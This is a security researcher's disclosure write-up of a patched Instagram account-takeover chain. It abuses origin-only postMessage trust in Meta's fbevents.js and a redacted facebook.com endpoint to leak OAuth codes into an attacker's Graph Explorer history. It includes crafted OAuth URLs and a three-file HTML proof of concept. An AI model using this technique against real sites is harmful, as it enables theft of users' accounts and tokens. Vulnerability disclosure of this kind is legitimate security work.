Instagram account takeover via Meta Pixel script abuse
Introduction
Meta’s web ecosystem relies on cross-window messaging between first-party websites.
In many cases, the only security control enforced is an origin check validating that messages originate from facebook.com or its subdomains.
This write-up describes how that assumption can be abused to steal first-party OAuth codes and generate first-party Instagram access tokens, ultimately enabling Instagram and Facebook account takeovers under realistic conditions.
The attack leverages a chain between a misconfigured Facebook endpoint and implicit trust in postMessage listeners such as in fbevents.js, which is widely deployed across Meta-owned and third-party websites.
Description
Cross-Window Trust in Meta JavaScript
Multiple Meta JavaScript modules register cross-window message listeners and trust incoming messages solely based on event.origin being facebook.com or one of its subdomains.
One such consumer is fbevents.js, the Meta Pixel script embedded on millions of websites.
When loaded in a window that has an opener, fbevents.js registers a message listener and reacts to specific message types by issuing requests to graph.facebook.com, including contextual data such as the current website’s location.href and document.referrer. These values would contain sensitive artifacts such as OAuth authorization codes or stokens.
Abusing facebook.com/REDACTED endpoint
The message source in this chain is the endpoint https://www.facebook.com/REDACTED
This endpoint constructs an object from user-supplied parameters and forwards it via postMessage to a target Facebook domain specified by the attacker.
Chaining with fbevents.js
When fbevents.js receives a message originating from facebook.com and matching specific message types, it uses the supplied access_token in the message to issue requests to graph.facebook.com.
Crucially, the attacker fully controls this access_token. Meaning by supplying an attacker-owned Graph Explorer token, the resulting requests can later be inspected in the Graph Explorer history, where leaked values such as the victim’s OAuth code/token in the URL or referrer become visible.
Attack Scenario
The following scenario targets developers.facebook.com, which loads fbevents.js and hosts multiple OAuth callback endpoints for Instagram and Threads.
An example OAuth authorization request initiated by the attacker:
https://www.instagram.com/oauth/authorize/third_party?
&app_id=200289238967899
&redirect_uri=https://developers.facebook.com/instagram/token_generator/oauth/
&response_type=code
&scope=user_profile,user_media
&state={"app_id":"200289238967899","nonce":"WRONG_NONCE","user_id":"1"}
Using an invalid nonce causes the flow to land on an error page at developers.facebook.com, which still loads fbevents.js.
Because the window has an opener, fbevents.js initializes its message listener.
At this point, the attacker redirects attacker website to:
https://www.facebook.com/REDACTED/?
&graphToken=ATTACKER_EXPLORER_TOKEN
&msg_type=FACEBOOK_IWL_BOOTSTRAP
&pixelID=438056466377696
&sessionStartTime=1668626372000
This causes www.facebook.com to send a crafted message to the opener (developers.facebook.com) window under a trusted origin. fbevents.js consumes the message and issues Graph API requests using the attacker-controlled token, embedding location.href and document.referrer in these requests.
By inspecting the attacker token’s history in Graph Explorer, the attacker can retrieve the Instagram OAuth authorization code and referrer data.
Generating a First-Party Instagram Access Token
The stolen code can be exchanged for a first-party Instagram access token by abusing the following endpoint:
https://developers.facebook.com/instagram/short_lived_access_token/oauth/?
&code=VICTIM_CODE
&state={"app_id":"FIRST_PARTY_APP","nonce":"YOUR_NONCE","user_id":"1"}
This returns a first-party Instagram access token, even when the code was generated by a different application. This in itself was a critical bug however Meta refused to acknowledge it and then later fixed it in secret.
PoC
index.html:
<html>
<head>
<meta name="referrer" content="no-referrer" />
</head>
<body>
Put your access_token in URL fragment and refresh (nothing is logged)
<button onclick="window.name='test';window.open('second.html' + location.hash)">Start Attack</button>
</body>
</html>
second.html
<html>
<script>
window.open("wait.html" + location.hash,"test");
window.location.href = 'https://www.instagram.com/oauth/authorize/third_party/?redirect_uri=https%3A%2F%2Fdevelopers.facebook.com%2Finstagram%2Ftoken_generator%2Foauth%2F&response_type=code&scope=user_profile&app_id=17951132926087090&logger_id=02f8edcd-6353-454e-80c3-ec5c4e496bd2&state={"app_id":1,"nonce":"somethingwrong"}';
</script>
</html>
wait.html
<html>
<body>
<script>
setInterval(function(){
try{
ATTACKER_EXPLORER_TOKEN = "";
opener.frames[2].postMessage("ping","*");
setTimeout(function(){
window.location.href = `https://www.facebook.com/REDACTED/?graphToken=${ATTACKER_EXPLORER_TOKEN || encodeURIComponent(location.hash.substring(1))}&msg_type=FACEBOOK_IWL_BOOTSTRAP&pixelID=438056466377696&sessionStartTime=1668626372000&`}
,3000);
}
catch{}
},100)
</script>
</body>
</html>
Impact
This vulnerability enables theft of first-party Instagram OAuth codes, generation of first-party access tokens, Instagram account takeover.
Because fbevents.js is widely deployed, the attack surface extends beyond Meta properties to third-party websites.
Timeline
Oct 16, 2024 — Bug reported
Oct 16, 2024 — Bug Acknowledged by Meta
Oct 24, 2024 — Bug fixed by Meta
Feb 12, 2025 — $32,500 bounty awarded by Meta